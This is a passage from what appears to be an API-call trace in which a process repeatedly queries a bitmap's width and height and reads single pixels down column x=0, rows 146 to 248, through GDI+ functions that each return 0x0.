(image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.001] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=146, color=0x23e6b0) returned 0x0 [0284.013] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.015] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.015] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=147, color=0x23e6b0) returned 0x0 [0284.015] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.016] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.016] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=148, color=0x23e6b0) returned 0x0 [0284.017] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.017] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.017] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=149, color=0x23e6b0) returned 0x0 [0284.018] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.018] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.019] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=150, color=0x23e6b0) returned 0x0 [0284.019] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.019] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.020] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=151, color=0x23e6b0) returned 0x0 [0284.020] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.020] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.021] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=152, color=0x23e6b0) returned 0x0 [0284.021] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.022] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.022] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=153, color=0x23e6b0) returned 0x0 [0284.022] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.023] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.023] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=154, color=0x23e6b0) returned 0x0 [0284.024] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.024] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.024] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=155, color=0x23e6b0) returned 0x0 [0284.025] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.025] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.026] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=156, color=0x23e6b0) returned 0x0 [0284.026] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.026] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.027] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=157, color=0x23e6b0) returned 0x0 [0284.027] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.028] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.028] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=158, color=0x23e6b0) returned 0x0 [0284.028] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.029] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.029] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=159, color=0x23e6b0) returned 0x0 [0284.029] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.030] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.030] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=160, color=0x23e6b0) returned 0x0 [0284.031] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.031] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.031] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=161, color=0x23e6b0) returned 0x0 [0284.032] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.032] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.033] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=162, color=0x23e6b0) returned 0x0 [0284.033] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.033] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.034] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=163, color=0x23e6b0) returned 0x0 [0284.034] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.035] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.035] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=164, color=0x23e6b0) returned 0x0 [0284.035] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.036] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.036] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=165, color=0x23e6b0) returned 0x0 [0284.037] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.037] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.037] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=166, color=0x23e6b0) returned 0x0 [0284.038] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.038] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.039] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=167, color=0x23e6b0) returned 0x0 [0284.039] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.039] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.040] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=168, color=0x23e6b0) returned 0x0 [0284.040] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.040] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.041] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=169, color=0x23e6b0) returned 0x0 [0284.041] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.042] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.042] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=170, color=0x23e6b0) returned 0x0 [0284.042] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.043] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.043] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=171, color=0x23e6b0) returned 0x0 [0284.044] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.044] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.044] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=172, color=0x23e6b0) returned 0x0 [0284.045] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.045] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.046] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=173, color=0x23e6b0) returned 0x0 [0284.046] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.046] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.047] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=174, color=0x23e6b0) returned 0x0 [0284.047] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.048] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.048] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=175, color=0x23e6b0) returned 0x0 [0284.049] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.049] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.050] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=176, color=0x23e6b0) returned 0x0 [0284.050] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.050] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.051] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=177, color=0x23e6b0) returned 0x0 [0284.051] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.052] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.052] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=178, color=0x23e6b0) returned 0x0 [0284.052] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.053] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.053] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=179, color=0x23e6b0) returned 0x0 [0284.053] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.054] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.054] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=180, color=0x23e6b0) returned 0x0 [0284.055] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.055] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.056] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=181, color=0x23e6b0) returned 0x0 [0284.056] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.056] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.057] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=182, color=0x23e6b0) returned 0x0 [0284.057] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.058] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.058] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=183, color=0x23e6b0) returned 0x0 [0284.058] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.059] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.059] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=184, color=0x23e6b0) returned 0x0 [0284.060] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.060] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.060] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=185, color=0x23e6b0) returned 0x0 [0284.061] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.061] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.062] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=186, color=0x23e6b0) returned 0x0 [0284.062] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.062] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.063] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=187, color=0x23e6b0) returned 0x0 [0284.064] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.064] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.064] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=188, color=0x23e6b0) returned 0x0 [0284.065] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.065] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.066] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=189, color=0x23e6b0) returned 0x0 [0284.066] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.067] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.067] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=190, color=0x23e6b0) returned 0x0 [0284.067] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.068] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.068] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=191, color=0x23e6b0) returned 0x0 [0284.069] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.069] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.069] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=192, color=0x23e6b0) returned 0x0 [0284.070] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.070] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.071] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=193, color=0x23e6b0) returned 0x0 [0284.071] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.071] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.072] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=194, color=0x23e6b0) returned 0x0 [0284.072] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.073] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.073] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=195, color=0x23e6b0) returned 0x0 [0284.073] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.074] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.074] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=196, color=0x23e6b0) returned 0x0 [0284.075] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.075] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.075] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=197, color=0x23e6b0) returned 0x0 [0284.076] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.076] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.077] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=198, color=0x23e6b0) returned 0x0 [0284.077] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.077] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.078] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=199, color=0x23e6b0) returned 0x0 [0284.078] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.079] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.079] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=200, color=0x23e6b0) returned 0x0 [0284.079] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.080] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.080] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=201, color=0x23e6b0) returned 0x0 [0284.081] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.081] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.081] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=202, color=0x23e6b0) returned 0x0 [0284.082] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.082] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.083] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=203, color=0x23e6b0) returned 0x0 [0284.083] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.083] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.084] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=204, color=0x23e6b0) returned 0x0 [0284.084] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.085] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.085] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=205, color=0x23e6b0) returned 0x0 [0284.085] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.086] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.086] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=206, color=0x23e6b0) returned 0x0 [0284.087] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.087] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.087] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=207, color=0x23e6b0) returned 0x0 [0284.088] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.088] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.088] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=208, color=0x23e6b0) returned 0x0 [0284.089] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.089] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.090] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=209, color=0x23e6b0) returned 0x0 [0284.090] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.090] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.091] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=210, color=0x23e6b0) returned 0x0 [0284.091] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.091] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.092] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=211, color=0x23e6b0) returned 0x0 [0284.092] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.093] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.093] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=212, color=0x23e6b0) returned 0x0 [0284.095] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.096] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.096] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=213, color=0x23e6b0) returned 0x0 [0284.096] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.097] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.097] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=214, color=0x23e6b0) returned 0x0 [0284.097] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.098] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.098] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=215, color=0x23e6b0) returned 0x0 [0284.099] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.099] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.099] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=216, color=0x23e6b0) returned 0x0 [0284.100] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.100] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.100] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=217, color=0x23e6b0) returned 0x0 [0284.101] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.101] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.101] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=218, color=0x23e6b0) returned 0x0 [0284.102] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.102] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.103] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=219, color=0x23e6b0) returned 0x0 [0284.103] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.103] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.104] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=220, color=0x23e6b0) returned 0x0 [0284.104] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.104] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.105] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=221, color=0x23e6b0) returned 0x0 [0284.105] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.105] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.106] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=222, color=0x23e6b0) returned 0x0 [0284.106] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.119] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.120] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=223, color=0x23e6b0) returned 0x0 [0284.120] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.121] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.121] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=224, color=0x23e6b0) returned 0x0 [0284.122] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.122] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.122] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=225, color=0x23e6b0) returned 0x0 [0284.123] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.123] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.124] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=226, color=0x23e6b0) returned 0x0 [0284.124] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.124] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.125] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=227, color=0x23e6b0) returned 0x0 [0284.125] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.126] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.127] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=228, color=0x23e6b0) returned 0x0 [0284.127] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.128] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.128] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=229, color=0x23e6b0) returned 0x0 [0284.128] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.129] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.129] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=230, color=0x23e6b0) returned 0x0 [0284.130] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.130] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.130] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=231, color=0x23e6b0) returned 0x0 [0284.131] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.131] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.132] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=232, color=0x23e6b0) returned 0x0 [0284.132] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.132] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.133] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=233, color=0x23e6b0) returned 0x0 [0284.133] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.133] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.134] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=234, color=0x23e6b0) returned 0x0 [0284.134] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.135] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.135] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=235, color=0x23e6b0) returned 0x0 [0284.135] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.136] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.136] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=236, color=0x23e6b0) returned 0x0 [0284.137] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.137] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.137] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=237, color=0x23e6b0) returned 0x0 [0284.138] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.138] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.139] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=238, color=0x23e6b0) returned 0x0 [0284.139] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.139] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.140] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=239, color=0x23e6b0) returned 0x0 [0284.140] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.140] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.141] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=240, color=0x23e6b0) returned 0x0 [0284.177] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.178] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.180] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=241, color=0x23e6b0) returned 0x0 [0284.180] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.181] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.181] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=242, color=0x23e6b0) returned 0x0 [0284.181] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.182] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.182] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=243, color=0x23e6b0) returned 0x0 [0284.183] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.183] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.183] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=244, color=0x23e6b0) returned 0x0 [0284.184] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.184] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.185] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=245, color=0x23e6b0) returned 0x0 [0284.185] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.185] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.186] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=246, color=0x23e6b0) returned 0x0 [0284.186] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.187] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.187] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=247, color=0x23e6b0) returned 0x0 [0284.187] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.188] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.188] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=248, color=0x23e6b0) returned 0x0 [0284.189] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0284.189] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0284.190] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, 